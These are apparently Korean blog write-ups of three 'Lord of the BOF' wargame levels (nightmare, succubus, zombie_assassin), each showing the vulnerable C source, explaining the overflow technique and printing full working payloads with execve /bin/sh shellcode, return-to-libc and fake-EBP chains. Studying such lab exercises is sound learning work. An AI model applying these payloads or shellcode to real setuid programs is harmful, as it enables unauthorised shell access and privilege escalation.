/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // check address
        addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // dangerous waterfall
        memset(buffer+40+8, 'A', 4);
}

소스를 보면 문제를 풀기 위한 중요한 부분이 있음

1. memcmp함수를 통해 argv[1]의 44바이트 부분 부터 4바이트를 strcpy함수의 주소와 비교해 같으면 if를 통과

2. strcpy를 통해 argv[1]에 입력된 값을 buffer에 저장 후 memset함수에 의해 48바이트 부분 부터 4바이트가 'A'로 변경됨


이 부분을 우회하면 문제를 풀 수 있다.


먼저 memcmp함수를 통과하기 위해 strcpy 함수의 주소를 알아낸다.

strcpy의 주소는 gdb로 확인할 수 있다.

strcpy  -> 0x8048410

이제 저부분이 통과가 되는지 페이로드를 작성해 확인해본다.

payload = `python -c 'print "\x90"*44+"\x10\x84\x04\x08"'`

세그먼트 폴트가 뜨면서 프로그램이 종료됐다. 

일단 memcmp부분은 통과한 것이다.


이제 gdb로 main의 leave에 bp를 걸고 48바이트 뒷 부분이 'A'로 변경이 되나 확인해보면 아래와 같이 A로 변경이 된것을 확인할 수 있다.


이 문제를 풀기 위해 strcpy를 이용해야한다.

현재는 ret가 memset에 의해 0x41414141로 변경되어서 seg fault가 뜨면서 종료 된다. 

소스코드에 의해 sfp는 strcpy로 고정되어 있으므로 argv[1]에 strcpy의 인자를 주어서 0x41414141이 들어가 있는 주소에 쉘코드가 있는 주소를 넣어주면 ret를 쉘코드가 있는 주소로 변경할 수 있다.


아래는 strcpy함수의 syntax다.

char *strcpy(char *strDestination, const char *strSource);

인자로 Dst, Src를 주면 되겠다.

이제 payload를 완성해 나가면 된다.

먼저 쉘코드는 25바이트 짜리를 사용했다.

Shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


payload : &shell[4]+NOP[15]+shell[25]+strcpy[4]+NOP[4]+&AAAA[4]+shell코드의 주소가 있는 주소[4]


이렇게 작성해서 gdbdump를 이용해 정확히 주소를 찾아가면서 수정하여 얻은 payload는 아래와 같다.


payload : `python -c 'print "\x0f\xfc\xff\xbf"+"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x10\x84\x04\x08"+"\x90"*4+"\xb0\xfa\xff\xbf"+"\x80\xfa\xff\xbf"'`


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow xavius  (0) 2017.10.12
Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26

poppop ret 가젯 구하는 방법

SSo@linux$ objdump -d 파일명 | egrep 'pop|ret'


단 이 명령으로 찾을 때 주의할 점은 pop이 연속으로 위치해 있어야 하는걸 잘 기억하고 사용해야한다.


bss 구하는 방법

objdump -h 파일명 | grep "bss"


RET에 DO 함수 주소가 들어감...

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}
C언어 소스다. 소스를 보면 공유라이브러리는 사용이 불가능하고, 스택의 ret에는 DO함수의 주소가 있어야 한다. DO의 주소는 gdb에서 memcmp 함수가 실행되기 전에 스택에 push되는 값이랑 같기 때문에 그 값이 DO의 주소값이다. 더 쉽게 찾는 방법은 브레이크 포인트를 걸고 p DO를 입력하면 확인할 수 있다.

이런식으로 각 함수들의 주소를 찾는다.


페이로드를 작성해야한다. 

먼저 DO가 실행되고 이 DO가 실행되면 check변수가 1로 초기화 된다. system 함수가 있는 MO함수는 check가 4여야지 실행이 가능한데, DO를 실행하면 check=1이여서 실행을 할 수 없다. 이번엔 GUL함수를 보면 check에 2가 들어간다. 또 YUT를 보면 check에 3이 들어간다. 이런식으로 다른 함수들을 거쳐가면 check에 4다 들어갈 때 그 다음으로 MO함수를 실행하면 된다. 따라서 그 순서는  DO -> GYE -> GUL -> YUT -> MO 이렇게 실행이 되면 된다.

페이로드는 각 함수의 주소로 이어준다.

먼저 NOP으로 SFP까지 채워주고 ret에 DO를 넣고 순서대로 각 함수의 주소를 넣는다. MO까지 넣고 실행하면 아래와 같이 제대로 실행이 안된다.

작성한 페이로드는 

`python -c 'print"\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x88\xfa\xff\xbf"'`

MO함수가 system 함수를 실행하면서 cmd라는 명령을 실행한다. 하지만 cmd라는 명령어를 실행할 수 없기 때문에 쉘이 따지지 않는다. 따라서 저 명령어를 /bin/sh로 변경해주면 된다.

현재 저 페이로드 뒤에 MO함수의 ret부분에 더미값을 넣어주고, /bin/sh의 주소를 넣어주면 되는데 /bin/sh의 주소를 gdb에서 찾아보니 주소에 40이 들어가서 페이로드에 넣을 수 없다. 그래서 인자에 문자열로 "/bin/sh"을 넣어주고 직접 그 주소를 찾아서 system함수의 인자에 넣어주면 된다.


`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x90"*4+"\x88\xfa\xff\xbf"+"/bin/sh"'`




'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}


Fake ebp란 leave-ret 가젯을 ret에 넣어 ebp값을 조작하여 원하는 주소로 리턴을 시키는 방법이다.


ret에 leave-ret 가젯을 넣으면 main에서 leave-ret 후 한번 더 leave-ret을 실행하는데,

이 leave에서는 sfp 주소를 가리키는 ebp가 esp로 mov 되어 ebp, esp가 sfp 주소를 가리키게 된다. 

그리고 pop ebp가 되면서 스택에서 값을 ebp로 pop 하므로 esp가 +4가 되어 sfp의 다음인 ret를 가리키게 된다. 또한 ret에서  pop eip, jmp eip를 하면서 ret에 있는 leave-ret가젯을 실행한다. 

이 과정을 한번 더 실행하게 되는데, 현재 ebp는 sfp가 가리키던 주소의 값이 있다. 이 부분이 쉘코드가 있는 부분의 -4 주소여야 한다. 

계속 진행을 하면 mov esp, ebp를 하여 ebp와 esp가 쉘코드가 있는 부분의 -4주소를 가리키고있다. 그리고 pop ebp 후 esp가 +4가 되어 쉘코드가 있는 부분의 주소를 가리킨다. 

이제 ret가 진행 되는데, 현재 esp는 쉘코드가 있는 주소를 가리키는데 이를 pop eip 후 jmp eip를 하게 된다. 이로 인해 쉘코드가 있는 주소로 jmp하여 쉘코드를 실행한다.

먼저 leave-ret 가젯을 구한다.

leave-ret는 0x80484df다


이제 bp를 걸고 인자로 48바이트를 무작위로 넣는다.


AAAA에는 쉘코드가 있는 주소의 -4를 한 부분이 들어가야하고, BBBB에는 leave-ret 가젯이 들어가야 한다.


BBBB 뒤에 NOP와 쉘코드를 많이 넣어야겠다. 내가 사용한 쉘코드 아래와 같다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80



NOP코드 앞에 NOP sled를 탈 수 있는 주소를 넣고 leave-ret 가젯을 추가해야한다. nopsled를 탈 수 있는 주소를 찾기 위해 스택을 확인해본다.


0xbffffc0c로 정했다. 이를 추가하고 페이로드를 입력하면 아래와 같다.

이제 core dump로 확인해보겠다.

segment fault 에러가 뜨면서 core dump가 생성되었다.


AAAA에 넣을 값을 찾아보면 

쉘코드로  nop sled를 탈 수 있는 주소-4를 한 주소인 0xbffffbc3을 sfp에 넣어야 한다.

payload = `python -c 'print "\x90"*40+"\xc3\xfb\xff\xbf"+"\xdf\x84\x04\x08"+"\x0c\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


쉘이 따졌다. 

하지만 임의로 생성해 setuid가 없기 때문에 권한상승을 위해 원래 파일에 페이로드를 넣고 오버플로우를 하면 된다.



RTL로 푸는게 더 간단하다.

먼저 RTL에 필요한 주소들을 찾았다.


buf-4 : 0xbffffaa0

system : 0x40058ae0

exit : 0x400391e0

/bin/sh : 0x400fbff9

leave : 0x80484df


원리는 똑같다. sfp에 system 함수를 가리키는 주소의 -4를 하는 주소를 찾아서 넣으면 된다. 페이로드에 AAAA를 먼저 넣었는데, system 함수 전에 AAAA가 있으므로 AAAA가 있는 주소를 sfp에 넣으면 된다. 


RTL payload = buf[40]+SFP[4]+RET[4]

= AAAA+system[4]+exit[4]+/bin/sh[4]+NOP[24]+&AAAA+leave-ret gadget

`python -c 'print "AAAA"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\xa0\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`





'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow zombie_assassin  (0) 2017.09.07
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22
Lord of bufferoverflow darkknight  (0) 2017.08.22

+ Recent posts